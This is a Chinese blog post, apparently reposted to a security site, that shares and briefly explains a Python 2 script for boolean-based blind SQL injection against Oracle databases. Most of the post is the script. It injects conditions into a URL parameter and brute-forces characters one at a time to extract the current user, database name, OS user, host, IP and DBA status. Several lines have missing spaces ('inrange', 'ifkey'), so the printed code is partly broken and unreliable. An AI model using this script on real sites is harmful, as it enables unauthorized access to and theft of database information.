SQL注入盲注布尔类型脚本

admin 2021年8月2日22:21:55评论65 views字数 2685阅读8分57秒阅读模式

最近忙成dog啦啦啦啦啦啦~!然后也遇到很多挫折,这两天就跟一个小伙伴在搞一个东西,然后他写了个脚本给我。下面就是他的脚本,我进行了理解,如果我理解错了,欢迎在后台指正,谢谢!爱你哟


 

# -*- coding: UTF-8 -*-     
#!/usr/bin/env python

import requests
import sys

reload(sys)
sys.setdefaultencoding( "utf-8" )

url = "url" #如http://www.a.com/xxx/xxx/ys.php?id=
key = "{关键字}"

def payload(dbinfo):
    len = 0
    list=[]
    result = ""
    print "----Fetching: "+dbinfo+"----"
    for i in range(100):
        pl = url + "{参数}' and length((SYS_CONTEXT('USERENV','"+dbinfo+"'))) ="+str(i)+" AND '1'='1"
        #print pl
        if key in myHttpRequest(pl):
            len = i
            break
    print "The size of "+dbinfo+" is:"+str(len)
    if len>0:
        for l in range(len):
            seq = l+1;
            for j inrange(48,122):
               sqli = url + "{参数}' andASCII(SUBSTR((SYS_CONTEXT('USERENV','"+dbinfo+"')),"+str(seq)+",1))="+str(j)+"AND '1'='1"
                ifkey in myHttpRequest(sqli):
                   #print sqli
                   print str(seq)+" of "+str(len)+" char:"+str(chr(j))
                   list.append(str(chr(j)))
                   break
        for i in list:
            result += str(i)
        print dbinfo+": "+result
    else:
        print "nothing found!"


def myHttpRequest(payload):
    result =requests.get(payload,timeout=20,allow_redirects=True,verify=False).content
    return result

def check(keyword):
    payload(keyword)


def main():
    check("CURRENT_USER")
    check("DB_NAME")
    check("EXTERNAL_NAME")
    check("CURRENT_SCHEMAID")
    check("AUTHENTICATION_TYPE")
    check("ISDBA")
    check("OS_USER")
    check("IP_ADDRESS")
    check("HOST")
    check("TERMINAL")

if __name__ == "__main__":
    main()
    #pl = url + "{参数}' andlength((SYS_CONTEXT('USERENV','CURRENT_USER'))) = 5 AND '1'='1"
    #print pl
    #print myHttpRequest(pl)

 

其实是这样的url = "url" #如http://www.a.com/xxx/xxx/ys.php?id=

这里是声明了url然后在下面可以直接调用。

然后开始对它进行一个拼接

def payload(dbinfo):

    len = 0

    list=[]

    result =""

    print"----Fetching: "+dbinfo+"----"

    for i inrange(100):

       pl = url +"参数' andlength((SYS_CONTEXT('USERENV','"+dbinfo+"'))) = "+str(i)+"AND '1'='1"

       #print pl

       if key inmyHttpRequest(pl):

           len = i

           break

最后写一个break跳出这个循环的过程。

def main():

        check("CURRENT_USER")

        check("DB_NAME")

        check("EXTERNAL_NAME")

        check("CURRENT_SCHEMAID")

        check("AUTHENTICATION_TYPE")

        check("ISDBA")

        check("OS_USER")

        check("IP_ADDRESS")

        check("HOST")

        check("TERMINAL")

这里的意思就是获取哪些信息。

if __name__ == "__main__":

        main()

        #pl= url + "{参数}' and length((SYS_CONTEXT('USERENV','CURRENT_USER'))) = 5 AND'1'='1"

        #printpl

        #printmyHttpRequest(pl)

最后打印出这些信息出来


如果你有更好的文章想在我这里发布,欢迎加我微信,我的微信号:m_yongshao,记住要备注,谢谢!


SQL注入盲注布尔类型脚本

你的动力

我的前进方向

SQL注入盲注布尔类型脚本

长按二维码关注我们


本文始发于微信公众号(逢人斗智斗勇):SQL注入盲注布尔类型脚本

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月2日22:21:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入盲注布尔类型脚本https://cn-sec.com/archives/344118.html

发表评论

匿名网友 填写信息